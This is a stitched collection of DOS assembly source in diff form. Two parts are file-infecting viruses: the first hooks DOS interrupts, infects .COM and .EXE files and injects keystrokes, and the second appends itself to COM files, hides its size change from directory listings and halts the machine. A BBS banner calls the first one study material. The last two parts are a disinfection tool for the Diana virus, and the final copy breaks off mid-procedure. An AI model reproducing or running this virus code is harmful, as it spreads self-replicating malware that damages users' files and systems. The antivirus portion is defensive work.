pop dx
cmp al,3 ; Below 3.0?
jb DosBel3
mov dx,offset new_I21 ; No, new int
DosBel3: mov ax,2521h ; Install new DOS-Int
int 21h
push cs
pop ds
ret
;*** Proc: NEW 1C (TIMER TICK) INTERRUPT ***
; Every 10 minutes this routine sends during 2 sec. 180 extra keys to the
; keyboard-interrupt.
Ticks dw (?)
New_I1c: inc word ptr cs:[Ticks] ; Increment 'Ticks after virus loaded'
cmp word ptr cs:[Ticks],2A30h ; 10 minutes passed?
jb org_I1c ; No, go to orig. I1c
cmp word ptr cs:[Ticks],2A54h ; 2 sec. passed?
jbe screw_keys ; Not yet, give ESCs
mov word ptr cs:[Ticks],0 ; Time-counter to 0
jmp short Org_I1c ; Go to orig. I1c
Screw_Keys: push cx
mov cx,5 ; 5 times / tick
Put_Key: int 9 ; Give extra key
loop Put_key
pop cx
Org_I1c: db 0EAh ; Jump far to orig. I1c
I1c_Ofs dw (?)
I1c_Seg dw (?)
New_I24: mov al,0
New_I23: iret
I23_Ofs dw (?)
I23_Seg dw (?)
I24_Ofs dw (?)
I24_Seg dw (?)
ProgSize dw (?) ; Program size in paragraphs
New_I21: cmp ax,4B00h ; New DOS Int for DOS 3 +
jz Is_Start
jmp far dword ptr cs:[I21_Ofs] ; Jmp orig. I 21
Is_Start: call Save_Regs
call InstCritInt ; Install new ^c and crit. err. int
mov ax,3D02h ; Open file for read and write
mov ds,R_Ds
int 21h
push cs
pop ds
jc Close_File
mov bx,ax
call Read_header
jc Close_File
call Write_virus
jc Close_File
call Write_header
Close_File: mov ah,3Eh ; Close file
int 21h
call RestCritInt ; Restore ^c and crit-err ints
call Rst_regs_int
jmp far dword ptr cs:[I21_Ofs]
I21_Dos12: cmp ah,3Dh ; New DOS-Int for DOS 1.x and 2.x
jz Is_Open
JmpDos: db 0EAh ; Jump Far
I21_Ofs dw (?)
I21_Seg dw (?)
Is_Open: push ax ; Network-flags?
and al,0FCh
pop ax
jnz JmpDos ; Yes -> DOS
call Save_Regs
call InstCritInt ; Install new ^c and crit. err. int
mov DS,R_Ds
or al,2 ; Write access
pushf
cli
call far cs:[I21_Ofs] ; Open file
push cs
pop ds
jc Open_Error ; Error opening -> DOS
pushf
mov [R_Ax],ax ; Save handle
mov bx,ax
call Chk_Inf ; Check infection is possible
jc No_Infect ; No -> quit
call Read_header
jc No_Infect
call Write_virus
jc No_Infect
call Write_header
No_Infect: call Go_file_beg ; Go to begin of file
call RestCritInt ; Restore ^c and crit-err ints
call Rst_regs_int
popf
retf 2
Open_Error: call RestCritInt ; Restore ^c and crit-err ints
call Rst_regs_int
jmp short JmpDos
;*** Proc: Buffer for header of program to infect ***
Head_buf dw 0Ch dup (?)
;*** Proc: Install new ^C and crit. err. interrupt ***
InstCritInt: push ax
push bx
push dx
push ds
push es
push cs
pop ds
mov ax,3523h ; Get Ctrl-Break Int Addr
int 21h
mov I23_Ofs,bx
mov I23_Seg,es
mov ax,3524h ; Get Crit. Err Int Addr
int 21h
mov I24_Ofs,bx
mov I24_Seg,es
mov ax,2523h
mov dx,offset New_I23 ; Install new Ctrl-Break Int
int 21h
mov ax,2524h ; Install new Crit. Err Int
mov dx,offset New_I24
int 21h
pop es
pop ds
pop dx
pop bx
pop ax
ret
;*** Proc: Restore orig. ctrl-break and crit. err. interrupt ***
RestCritInt: mov ax,2524h ; Rest. orig. crit. err int
lds dx,dword ptr cs:[I24_Ofs]
int 21h
mov ax,2523h ; Rest. orig. ctrl-break int
lds dx,dword ptr cs:[I23_Ofs]
int 21h
push cs
pop ds
ret
;*** Read header of file ***
Read_header: mov ah,3Fh
mov dx,offset Head_buf
mov cx,18h
int 21h
jc HeadRead_Err ; Error reading, don't infect
call Check_infect ; Check file already infected; if not, save data
jc HeadRead_Err ; Error, quit
call Calc_data ; Calculate data for infected file
jc HeadRead_Err ; Error, quit
HeadRead_Err: ret
;*** Proc: Write virus, and for .COM files, write first 16 bytes behind virus ***
Write_virus: mov ah,40h ; Write virus behind program
mov cx,[VirSize]
mov dx,100h
int 21h
jc Err_Writ ; Write error, quit
cmp ax,cx
jnz Err_Writ ; ' ' ' ' ' '
test byte ptr [Com_or_exe],1
jz First_Write
ret
First_Write: mov ah,40h ; Write orig. 1st 16 bytes behind virus
mov cx,10h
mov dx,offset Head_buf
int 21h
jc Err_Writ ; Write error, quit
cmp ax,cx
jnz Err_Writ ; ' ' ' ' ' '
clc ; End procedure, no error
ret
Err_Writ: stc ; End procedure, error
ret
;*** Proc: .COM: Write jump-to-virus, .EXE: Write header ***
Write_header: call Go_file_beg ; Go to begin of file
test byte ptr [Com_or_exe],1 ; .EXE-file?
jnz Exe_header
mov ah,40h ; .COM file - Write 'EB 02'
mov cx,2
mov dx,offset EB02
int 21h
mov ah,40h ; Write program-size in pars
mov cx,2
mov dx,offset ProgSize
int 21h
mov ah,40h ; Write rest of begin of virus
mov cx,0Ch
mov dx,104h
int 21h
ret
Exe_header: mov ah,40h ; Write in File
mov cx,18h
mov dx,offset Head_buf
int 21h
ret
;*** Proc: Change file pointer ***
Cng_file_ptr: mov ax,4200h
int 21h
ret
;*** Proc: Go to begin of file ***
Go_file_beg: xor cx,cx ; Filepointer = 0
xor dx,dx
call Cng_file_ptr ; Change File Pointer
ret
;*** Proc: Check file is already infected ***
Check_infect: mov si,104h
mov di,offset Head_buf+4
push cs
pop es
mov byte ptr [Com_or_exe],0 ; Flag for .COM
cmp word ptr [di-04],5A4Dh ; Is .EXE?
jz Is_Exe
mov cx,0Ch ; No, .COM file
cld
repz ; Already infected?
cmpsb
jnz Do_Infect ; Not yet
Dont_Infect: stc
ret
Do_Infect: clc
ret
Is_Exe: mov byte ptr [Com_or_exe],1 ; Flag for .EXE
mov cx,[offset Head_buf+14h] ; cx = Prog-IP
cmp cx,offset VirBegin ; Same as Vir-IP?
jz Dont_Infect ; Yes, quit
cmp word ptr [offset Head_buf+0Ch],0 ; Max extra pars=0?
jz Dont_Infect ; Yes, quit
mov [Exe_ip],cx ; Save prog-IP
mov cx,[Head_buf+16h]
mov [Exe_cs],cx ; Save prog-cs
mov cx,[Head_buf+0Eh]
mov [R_ss],cx ; Save prog-SS
mov cx,[Head_buf+10h]
mov [R_sp],cx ; Save prog-SP
jmp short Do_Infect
;*** Proc: Calculate data for infection ***
Calc_data: mov ax,4202h ; Go to EOF
xor cx,cx
xor dx,dx
int 21h
test al,0Fh ; Size mod 16 = 0 (File is exact x paragraps)?
jz No_par_add ; Yes, no extra par added
add ax,10h ; Add paragraph
adc dx,0 ; Overflow -> Inc dx
and ax,0FFF0h ; Make paragraphs
No_par_add: test byte ptr [Com_or_exe],1
jnz Calc_exe
or dx,dx
jnz not_infect
cmp ax,[maxcomsize] ; File too big?
ja not_infect ; Yes, quit
cmp ax,[VirSize] ; File too small?
jbe Not_Infect ; Yes, quit
mov [ProgSize],ax ; Save program-size
mov cl,4
shr word ptr [ProgSize],cl ; In paragraphs
mov dx,ax
xor cx,cx
call Cng_file_ptr ; Go to EOF
clc
ret
Not_Infect: stc
ret
Calc_exe: push ax
push dx
add ax,100h ; 100 bytes stack
adc dx,0 ; Overflow - inc dx
mov cx,dx
mov dx,ax
call Cng_file_ptr ; Go to EOF
push bx
add ax,[VirSize] ; New exe-length
adc dx,0
mov bx,200h ; For header: / 512
div bx
or dx,dx
jz No_Correct
inc ax ; Files below 2.000.000h bytes - length correction
No_Correct: mov [Head_buf+2],dx ; Save new file-length
mov [Head_buf+4],ax ; ' ' ' ' ' ' ' '
pop bx
pop dx
pop ax
call Calc_cs_ss
mov word ptr [Head_buf+10h],100h ; Prog-SP=100h
mov word ptr [Head_buf+14h],offset VirBegin ; Set prog-IP
clc
ret
;*** Proc: Calculate new CS and SS for .EXE file ***
Calc_cs_ss: push cx
mov cx,4
Cs_ss_lp: shr dx,1
rcr ax,1
loop Cs_ss_lp
sub ax,[Head_buf+8] ; Size of header
sbb dx,0
mov [Head_buf+0Eh],ax ; Save prog-SS
mov [Head_buf+16h],ax ; Save prog-cs
pop cx
ret
;*** Check infection is possible ***
Chk_Inf: call Chk_exec ; Check file is executable
jb Not_exec
call Get_attr ; Check file has no SYS attr
Not_Exec: ret
;*** Search-paths ***
Com_path db '.COM',0
Exe_path db '.EXE',0
;*** Check file is executable (.COM / .EXE)
Chk_Exec: push es
mov es,R_ds
mov di,dx
xor al,al
mov cx,80h
cld
repnz ; Search '.'
scasb
jnz not_inf ; No '.' found
dec di
push di
mov si,offset Com_path+4
mov cx,4
std
repz ; Check '.COM'
cmpsb
pop di
jnz no_com ; No .COM
clc
jmp short Infect
nop
Not_Inf: stc
Infect: cld
pop es
ret
No_Com: mov si,offset Exe_path+4
mov cx,4
repz ; Check '.EXE'
cmpsb
jnz not_inf ; No .EXE either - not executable
clc
jmp short infect
Get_Attr: push ds
mov ax,4300h ; Get FileAttr
xor cx,cx
mov ds,R_ds
int 21h
pop ds
jb Bad_Attr ; Error - don't infect
test cx,4 ; System-Attr?
jnz Bad_Attr ; Yes, don't infect
clc
ret
Bad_Attr: stc
ret
First_bytes: int 20h ; First bytes of orig. program - here just 'Go to DOS'
dw (?)
mov bx,cs ; Overwrites the begin
add bx,[102h]
push bx
mov bx,offset VirBegin
push bx
retf
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
+269
View File
@@ -0,0 +1,269 @@
;************************************************************************;
;* T®§¨ Virus ¥ ­ ¯° ¢¥­ ­  25.10.1991 £. ¢ *;
;* *;
;* ‘“ " ‘¢. Š«¨¬¥­² ޵°¨¤±ª¨ " ¢ 17:18.30 hour *;
;* *;
;* ±² ¿ 316 ­  ”.Œ.ˆ. *;
;************************************************************************;
start: jmp short begin
db (00h)
db (53h) ; ‡  ° §¯®§­ ¢ ­¥ ­  ¢¨°³± 
db (4bh) ; „ «¨ ´ ©«  ¥ § ° §¥­
int 20h
okey: db (0b8h)
db (03h)
db (00h)
db (0cdh)
db (10h)
begin: push cx ;
CALL F1 ;
F1: POP SI ; ‡  ¢º§±² ­®¢¿¢ ­¥ ­  ¯º°¢¨²¥ 5 ¡ ©² 
SUB SI,09 ;
PUSH SI ;
cld ;
mov di,100h ;
mov cx,5 ;
rep movsb ;
jmp ding2
new21: pushf ; CALL ªº¬ ®°¨£¨­ «­®²® INT 21h ­ 
push cs ; IBMDOS.COM - ± ¶¥« ¤  ­¥ ²¥ µ¢ -
call Word ptr cs:[8c0h] ; ­ ² ­¿ª®© ¯°®£° ¬¨ §  ¢¨°³±¨
ret ; ª ²® Anti4us.exe, NDD ¨ ².­.
int21h: STI
cmp ah,4bh ; °¨ ±² °²¨° ­¥ ­  ´ ©«
jz mm ;
cmp ah,11h ; °¨ ²º°±¥­¥ ­  ¯º°¢¨ ¨ ¢²®°¨ ´ ©«
jz home ; ± ¶¥« ¯°¨ DIR ¤  ±ª°¨¢  ¢¨°³± .
cmp ah,12h ;
jz home
jmp int1hh
home: call new21 ; °®¶¥¤³°  ª ²® ¯°¨ DIR ¯°®¢¥°¿¢ 
push ax ; ¤ «¨ · ±  ¥ 10:26 ¨ , ª® ¥ §­ ·¨
push bx ; ´ ©«  ¥ § ° §¥­ ¨ ¨§¢ ¦¤  ¤º«¦¨­ -
push es ; ²  ­  ¢¨°³±  ¤  ­¥ ±¥ § ¡¥«¿§¢ 
; ®£®«¥¬¿¢ ­¥²® ­  ´ ©« .
mov ah,2fh ; ‚§¥¬  DTA ¢ ES:BX . — ±  ¥ ¢ bx+1eh
call new21 ; ’³ª ¥ 10:26 ;
mov ax,534bh
cmp Word ptr es:[bx+1eh],ax
jnz ox
mov ax,End-Okey+3
sub Word ptr es:[bx+24h],ax
ox: pop es ; €ª® ­¥ ¥ 10:26 , ²® §­ ·¨ ­¿¬ ¸
pop bx ; ¢¨°³± ¨ ­¿¬  ¤  ­ ¬ «¨ · ±  ±
pop ax ; ­¥®¡µ®¤¨¬¨²¥ ¡ ©²®¢¥ ¨«¨ ¤º«-
db (0CAh) ; ¦¨­ ²  ­  ¢¨°³±  ¢ ±«³·¥¿.
dw (2)
;****************************************************;
;* ‡   °   § ¿ ¢   ­ ¥ *;
;****************************************************;
mm: pushf
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH ES
PUSH SI
PUSH DI
xor ax,ax
mov ds,ax
mov di,[0194h]
mov es,[0196h]
mov ax,[004ch]
mov bx,[004eh]
mov cx,0f000h
mov dx,0ec59h
mov [0100h],dx
mov [0102h],cx
mov [0198h],ax
mov [019ah],bx
mov [004ch],di
mov [004eh],es
mov ax,0a15h+new24-begin
push cs
pop ds
push cs
pop es
mov ah,2ch
call new21
cmp cx,0200h
jna mm1
mov ax,0003h
int 10h
mov ah,09h
mov dx,0a15h+n-begin
call new21
cli
hlt
dinge: jmp ding
mm1: mov ah,2fh ;Dos service function ah=2FH (get DTA)
call new21
mov cs:[8b0h],es
mov cs:[8b2h],bx
MOV AH,4eH
MOV DX,0a10h+files-okey
mov cx,0
call new21
jc dinge ;CX File attribute
;DS:DX Pointer of filespec (ASCIIZ string)
vir: mov ax,534bh
cmp es:[bx+16h],ax
jnz fuck
vir1: mov ah,4fh
call new21
jc enzi
jmp short vir
enzi: jmp ding
fuck: mov cx,1500
cmp es:[bx+1ah],cx
jna vir1
fuck1: push es
pop ds
mov ax,3d02h
mov dx,bx
add dx,1eh
call new21
mov cs:[0a10h+handle-okey],ax
mov bx,ax
push cs
pop ds
mov ah,3fh
mov dx,0a10h
mov cx,5
call new21
mov di,0a10h+end-okey
mov al,0e9h
mov [di],al
inc di
mov bx,[8b2h]
mov cx,es:[bx+1ah]
inc cx
inc cx
mov [di],cx
inc di
inc di
mov ax,534bh
mov [di],ax
mov bx,cs:[0a10h+handle-okey]
mov ax,4200h
xor cx,cx
xor dx,dx
call new21
mov ah,40h
mov dx,0a10h+end-okey
mov cx,5
call new21
mov ax,4202h
xor cx,cx
xor dx,dx
call new21
push cs
pop ds
mov bx,cs:[0a10h+handle-okey]
mov ah,40h
mov dx,0a10h
mov cx,end-okey-3
call new21
mov bx,cs:[0a10h+handle-okey]
mov ax,5700h
call new21
mov ax,5701h
mov cx,534bh
call new21
mov ah,3eh
call new21
ding: xor ax,ax
mov ds,ax
mov ax,[0198h]
mov bx,[019ah]
mov [004ch],ax
mov [004eh],bx
POP DI
POP SI
POP ES
POP DS
POP DX
POP CX
POP BX
POP AX
popf
int1hh: jmp word ptr cs:[8c0h] ; °¥ªº±¢ ­¥ 21
files: db '*.com',0 ; ‡ ° §¿¢  ± ¬® COM ´ ©«®¢¥
new24: mov al,03 ; Int 24h ¤  ­¥ ¤ ¢  Write Protect
iret
ding2: MOV AX,0070h ; ‚«¨§  ¢ ±¥£¬¥­ 0070h: ¨ ¯°¥²º°±¢ 
MOV ES,AX ; §  ­¥®¡µ®¤¨¬¨²¥ ¡ ©²®¢¥ ­  INT13H
MOV DI,0000h
MOV AX,80FBh
non1: CLD
MOV CX,0FFFFh
non2: REPNZ SCASW
JZ non
MOV DI,0001h
JMP non1
non: MOV BX,02FCh
CMP ES:[DI],BX
JNZ non2
DEC DI
DEC DI
xor ax,ax ;  £« ±¿ ­®¢®²® ¯°¥ªº±¢ ­¥ INT13H ¨
mov ds,ax ; ¨ ±¥ ¯®¤£®²¢¿ §  ° ¡®² 
mov [0194h],di
mov [0196h],es
mov es,[009eh]
mov bx,[00a0h]
push cs
pop ds
MOV BP,DS
pop si
push si ; °¥µ¢º°«¿ ¢¨°³±  ¢ ±²¥ª  ­ 
MOV DI,0a10h ; COMMAND.COM
MOV CX,Handle-Okey ; € ±º¹® ² ª  ¨ ¯®¤£®²¢¿
REP MOVSB ; ¢¨°³±  ¤®¡°¥ ¤  ±¥ ³ª°¥¯¨
PUSH ES ; ¨ ®¯«¥²¥ ± Int 21h
LEA DI,[BX+1bh]
MOV AL,0e9h
STOSB
MOV AX,0A30h
SUB AX,DI
STOSW
MOV AX,9090H
STOSW
STOSW
MOV ES:[8c0h],DI
MOV AX,SS
SUB AX,0018h
CLI
MOV SS,AX
STI
MOV DS,BP
POP ES
pop si
pop cx
xor ax,ax
xor bx,bx
xor dx,dx
xor si,si
mov di,100h
push di
xor di,di
ret
n: db "K.I.I.S.ø ",024h ; ’®§¨ ²¥±² ±¥ ®²¯¥· ²¢  ±«¥¤ 2 · ± .
handle: dw ? ; € ±º¹® ² ª  ¡«®ª¨°  ª®¬¯¾²º° .
end: db (00)

@@ -0,0 +1,541 @@
memS equ 1 ;model small convertable to COM model
;**************** RUNTIME LIBRARY OF KILLDIANA.COM **************
include lcmac.mac
calln macro name
call near ptr name
endm
callp macro name
lea dx,name
calln print
endm
callz macro name
push si
lea si,name
calln printz
pop si
endm
dgroup group data,udata,xstack
assume ds:data
pgroup group prog,tail
prog segment byte public 'prog'
assume cs:prog
org 100h ;FOR MODEL COM
start label far
cli
mov ax,offset pgroup:xtail ;get end of code group
add ax,16 ;calculate segment address of ds
mov cl,4 ;calculate segment address of ds
shr ax,cl ;calculate segment address of ds
mov bx,cs ;calculate segment address of ds
add ax,bx ;calculate segment address of ds
mov ds,ax ;set ds to dgroup
mov es,ax ;set es to dgroup
mov ss,ax ;set ss to dgroup
mov ds:_ss,ax ;save stack segment for (do,for,while)
mov sp,offset dgroup:sbase + 512 ;range of stack = 512 bytes
mov ds:_top,sp ;save stack pointer for (do,for,while)
mov bx,offset dgroup:sbase ;get stack segment for (do,for,while)
mov ds:_base,bx ;save stack segment for (do,for,while)
sti
mov ah,30h ;get dos version number
int 21h
mov ds:_dos,ax ;save dos version for (do,for,while)
callp copyr
callp tryrem
calln remove
callp weak
lea di,fname
mov si,82h
getf:
mov al,cs:[si]
cmp al,0dh
je tonul
cmp al,' '
jc blank
mov [di],al
inc di
blank: inc si
.br getf
tonul: clr al
mov [di],al
calln prefix
calln comwrk
; calln exewrk
mov ah,4ch
int 21h ;exit to DOS
print proc near
mov ah,9
int 21h
ret
print endp
comwrk proc near
calln first
jc toret
calln workcom
ffnext:
calln fnext
jc toret
calln workcom
.br ffnext
toret:
ret
comwrk endp
fnext proc near
mov ah,4fh ;findnext
int 21h
jc ercc
jnc foundf
fnext endp
first proc near
lea dx,fname
mov cx,27h ;search all types of files
mov ah,4eh ;findfirst
int 21h
jnc foundf
callp notfnd
ercc: stc
ret
foundf:
calln konka
clc
ret
first endp
konka proc near
mov ah,2fh
int 21h ;get dta in es:bx
add bx,26
mov ax,es:[bx]
mov llfil,ax ;save lowlengh
inc bx
inc bx
mov ax,es:[bx]
mov lhfil,ax ;save highlengh
inc bx
inc bx ;pointed to fname
lea si,ffname
lea di,fname
push es
push ds
pop es
mov cx,40h
repe cmpsb
pop es
dec si
copyf: mov al,es:[bx]
mov [si],al
inc si
inc bx
or al,al
jne copyf
ret
konka endp
prefix proc near
lea si,fname
add si,40h
mov cx,40h
std
lodi:
lodsb
cmp al,'\'
je founds
cmp al,':'
je founds
loop lodi
mov nepar,offset fname
.br endcp
founds:
inc si
inc si
mov nepar,si
lea si,fname
lea di,ffname
cpag:
cmp si,nepar
jae endcp
mov al,[si]
mov [di],al
inc si
inc di
.br cpag
endcp:
cld
ret
prefix endp
remove proc near
push ds
clr ax
mov ds,ax
les bx,ds:[84h] ;21h vector
mov ax,cs
mov dx,es
cmp dx,ax
jc nodia
cmp bx,2eeh
jne nodia
mov ax,es:[74fh]
mov ds:[84h],ax ;restore 21h
mov ax,es:[751h]
mov ds:[86h],ax
mov ax,es:[74bh]
mov ds:[9ch],ax ;restore 27h
mov ax,es:[74dh]
mov ds:[9eh],ax
mov ax,es
mov bx,ax
dec ax
mov es,ax
mov es:byte ptr[0],5ah
mov es:word ptr[1],0
pop ds
callp diakt
ret
nodia:
pop ds
callp dinakt
ret
remove endp
workcom proc near
lea dx,ffname
mov ax,4300h ;get attrib
int 21h
jnc kopa
jmp retga
kopa:
mov al,cl
and al,0feh
cmp al,cl
je nochatr
mov attr,cx
mov ax,4301h ;set attrib
clr cx ;to normal
int 21h
.br nochh
nochatr:
mov attr,0
nochh:
mov ax,3d02h ;open file R/W
int 21h
jnc kop1
jmp resatr
kop1: mov bx,ax
calln gettm
mov cx,18h
lea dx,bufer
mov ah,3fh ;read first 3 bytes
int 21h
jc closs2
mov di,dx
mov ax,ds:[di]
cmp ax,5a4dh
jne commfil
push bx
calln exework
pop bx
jc chek2
jmp closs
commfil:
mov al,ds:[di]
cmp al,0e9h
je mak111
jmp closs
mak111: mov si,ds:[di+1] ;relative offset
add si,3
mov di,si
sub si,68h
mov len,si
clr cx
mov dx,di
mov ax,4200h
int 21h ;seek to found e80000
closs2: jc clos21
lea dx,bufer
add dx,18h+3
mov cx,7 ;read 7 bytes
mov ah,3fh
int 21h ;read
clos21: jnc chek1
chek2: jmp closs
chek1:
mov di,dx
cmp ds:byte ptr[di],0e8h
jne chek2
cmp ds:word ptr[di+1],0
jne chek2
cmp ds:word ptr[di+4],0ee81h
jne chek2
cmp ds:word ptr[di+6],6bh
jne chek2
clr cx
mov dx,si
add dx,705h
mov ax,4200h
int 21h ;seek to found org 3bytes
jc closs
lea dx,bufer
add dx,18h
mov cx,3 ;read 3 bytes
mov ah,3fh
int 21h ;read
jc closs
lea si,bufer
restor3:
mov al,[si+18h]
mov [si],al
inc si
loop restor3
clr cx
clr dx
mov ax,4200h ;seek to begin
int 21h
jc closs
mov cx,18h
lea dx,bufer
mov ah,40h ;write
int 21h
jc closs
clr cx
mov dx,len
mov ax,4200h ;seek to end of real data
int 21h
jc resatr
exelen:
clr cx
mov ah,40h ;truncate file
int 21h
push bx
callp file
callz ffname
callp isok
pop bx
closs:
calln settm
mov ah,3eh
int 21h ;close file
resatr:
mov cx,attr ;to old attributes
or cx,cx
je retga
lea dx,ffname
mov ax,4301h ;set attrib
int 21h
retga:
ret
workcom endp
printz proc near
eter: mov ah,2
lodsb
or al,al
je caret
mov dl,al
int 21h
.br eter
caret:
ret
printz endp
gettm proc near
mov ax,5700h
int 21h
jc qget
mov atcx,cx
mov atdx,dx
qget:
ret
gettm endp
settm proc near
mov ax,5701h
mov cx,atcx
mov dx,atdx
or cx,cx
je qset
or dx,dx
je qset
int 21h
qset:
ret
settm endp
exework proc near
mov ax,[di+16h] ;get main lenght in pargarphs
mov cx,16
mul cx
push bx
mov bx,[di+8]
mov cl,4
shl bx,cl
add ax,[di+14h] ;get IP
adc dx,0
add ax,bx
adc dx,0
pop bx
mov exhlen,dx
mov exllen,ax
mov cx,dx
mov dx,ax
mov ax,4200h
int 21h ;seek to begin Diana code
lea dx,bufer
add dx,18h+3
mov cx,7 ;read 7 bytes
mov ah,3fh
int 21h ;read
jc echek2
mov di,dx
cmp ds:byte ptr[di],0e8h
jne echek2
cmp ds:word ptr[di+1],0
jne echek2
cmp ds:word ptr[di+4],0ee81h
jne echek2
cmp ds:word ptr[di+6],6bh
je exgoin
echek2:
stc
ret
exgoin:
sub exllen,68h
sbb exhlen,0 ;contains lenght of file
mov dx,exllen
mov cx,exhlen
add dx,707h
adc cx,0
mov ax,4200h
int 21h ;seek to old vectors
lea dx,bufer
add dx,26h
mov cx,1
mov ah,3fh
int 21h ;read old cs:ip, ss:sp
jc echek2
mov dx,exllen
mov cx,exhlen
add dx,6fdh
adc cx,0
mov ax,4200h
int 21h ;seek to old vectors
lea dx,bufer
add dx,18h
mov cx,8
mov ah,3fh
int 21h ;read old cs:ip, ss:sp
jc echek2
mov ax,llfil
mov dx,lhfil
sub ax,exllen
sbb dx,exhlen
mov lhfil,dx
mov llfil,ax
lea di,bufer
mov ax,[di+4]
mov cx,512
mul cx
add ax,[di+2]
adc dx,0
sub ax,llfil
sbb dx,lhfil
div cx
mov cx,dx
mov dl,[di+26h]
sub cx,dx
mov rema,cx
mov [di+2],dx ;store remainder of lenght
mov [di+4],ax ;store /512 lenght
mov ax,[di+18h] ;get ip
mov [di+14h],ax ;store
mov ax,[di+1ah] ;get cs:
mov [di+16h],ax ;store
mov ax,[di+1ch] ;get sp
mov [di+10h],ax ;store
mov ax,[di+1eh] ;get ss:
mov [di+0eh],ax ;store
clr cx
clr dx
mov ax,4200h
int 21h ;seek to prefix
mov cx,18h ;to write new prefix
lea dx,bufer
mov ah,40h
int 21h ;write 18h bytes prefix
mov cx,exhlen
mov dx,exllen
sub dx,rema
sbb cx,0
mov ax,4200h
int 21h ;seek end of file
jmp exelen
exework endp
prog ends
tail segment word 'prog' ;help segment to allocate end of code
xtail dw -1 ;and set the data segment
tail ends
data segment para public 'data' ;data segment
fname db 40h dup(0)
ffname db 40h dup(0)
bufer db 27h dup(0)
_ss dw ? ;Lattice variables
_base dw ? ;Lattice variables
_dos dw ? ;Lattice variables
_top dw ? ;Lattice variables
nepar dw 0
fhand dw 0
exhlen dw 0
exllen dw 0
llfil dw 0
lhfil dw 0
len dw 0
attr dw 0
atcx dw 0
atdx dw 0
rema dw 0
notfnd db 'File not found',13,10,'$'
copyr db 'Dianakiller program V1.0 (C)Copyright Deny_Soft 1989',13,10,'$'
tryrem db 'Searching Diana in memory...',13,10,'$'
diakt db 'Diana found',7,' and removed extra',13,10,'$'
dinakt db "Diana isn't active",13,10,"$"
weak db 'Searching for weak files...',13,10,'$'
file db 'File $'
isok db 9,9,' ... restored',13,10,'$'
data ends
.pub <_ss,_base,_dos,_top> ;make external
udata segment public 'data'
udata ends
xstack segment 'data'
sbase dw 512 dup (?)
xstack ends
end start

@@ -0,0 +1,654 @@
memS equ 1 ;model small convertable to COM model
;**************** RUNTIME LIBRARY OF KILLDIANA.COM **************
include lcmac.mac
calln macro name
call near ptr name
endm
callp macro name
lea dx,name
calln print
endm
callz macro name
push si
lea si,name
calln printz
pop si
endm
dtas struc
resv db 21 dup(?)
atr db ?
hour dw ?
min dw ?
lfil dw ?
hfil dw ?
sname db 14 dup(?)
dtas ends
dgroup group data,udata,xstack
assume ds:data
pgroup group prog,tail
prog segment byte public 'prog'
assume cs:prog
org 100h ;FOR MODEL COM
start label far
cli
mov ax,offset pgroup:xtail ;get end of code group
add ax,16 ;calculate segment address of ds
mov cl,4 ;calculate segment address of ds
shr ax,cl ;calculate segment address of ds
mov bx,cs ;calculate segment address of ds
add ax,bx ;calculate segment address of ds
mov ds,ax ;set ds to dgroup
mov es,ax ;set es to dgroup
mov ss,ax ;set ss to dgroup
mov ds:_ss,ax ;save stack segment for (do,for,while)
mov sp,offset dgroup:sbase + 512 ;range of stack = 512 bytes
mov ds:_top,sp ;save stack pointer for (do,for,while)
mov bx,offset dgroup:sbase ;get stack segment for (do,for,while)
mov ds:_base,bx ;save stack segment for (do,for,while)
sti
mov ah,30h ;get dos version number
int 21h
mov ds:_dos,ax ;save dos version for (do,for,while)
callp copyr
callp tryrem
calln remove
push cs
pop es
mov di,81h
getf:
mov cx,80
cld
mov al,0dh
repne scasb
jne quiter
dec di
cmp di,81h
je quiter
mov si,di
mov cx,di
mov cs:byte ptr[di],0
srcc:
dec si
mov al,cs:[si]
cmp al,'\'
je fndd
cmp al,':'
je fndd
cmp si,82h
jae srcc
dec si
fndd:
sub cx,si
jcxz quiter
lea di,fname
inc si
cpcp: mov al,cs:[si]
cmp al,' '
jbe incsi
mov [di],al
inc di
incsi:
inc si
loop cpcp
callp weak
lea dx,root
mov ah,3bh ;chdir to root
int 21h ;chdir to root
calln findir
quiter:
mov ah,4ch
int 21h ;exit to DOS
print proc near
mov ah,9
int 21h
ret
print endp
comwrk proc near
calln first
jc toret
calln workcom
ffnext:
calln fnext
jc toret
calln workcom
.br ffnext
toret:
ret
comwrk endp
fnext proc near
lea dx,mydta
mov ah,1ah
int 21h
mov ah,4fh ;findnext
int 21h
jc ercc
jnc foundf
fnext endp
first proc near
lea dx,mydta
mov ah,1ah
int 21h
lea dx,fname
mov cx,27h ;search all types of files
mov ah,4eh ;findfirst
int 21h
jnc foundf
; callp notfnd
ercc: stc
ret
foundf:
calln konka
clc
ret
first endp
konka proc near
mov ah,2fh
int 21h ;get dta in es:bx
add bx,26
mov ax,es:[bx]
mov llfil,ax ;save lowlengh
inc bx
inc bx
mov ax,es:[bx]
mov lhfil,ax ;save highlengh
inc bx
inc bx ;pointed to fname
lea si,ffname
copyf: mov al,es:[bx]
mov [si],al
inc si
inc bx
or al,al
jne copyf
ret
konka endp
remove proc near
push ds
clr ax
mov ds,ax
les bx,ds:[84h] ;21h vector
mov ax,cs
mov dx,es
cmp dx,ax
jc nodia
cmp bx,2eeh
jne nodia
mov ax,es:[74fh]
mov ds:[84h],ax ;restore 21h
mov ax,es:[751h]
mov ds:[86h],ax
mov ax,es:[74bh]
mov ds:[9ch],ax ;restore 27h
mov ax,es:[74dh]
mov ds:[9eh],ax
mov ax,es
mov bx,ax
dec ax
mov es,ax
mov es:byte ptr[0],5ah
mov es:word ptr[1],0
pop ds
callp diakt
ret
nodia:
pop ds
callp dinakt
ret
remove endp
workcom proc near
lea dx,ffname
mov ax,4300h ;get attrib
int 21h
jnc kopa
jmp retga
kopa:
mov al,cl
and al,0feh
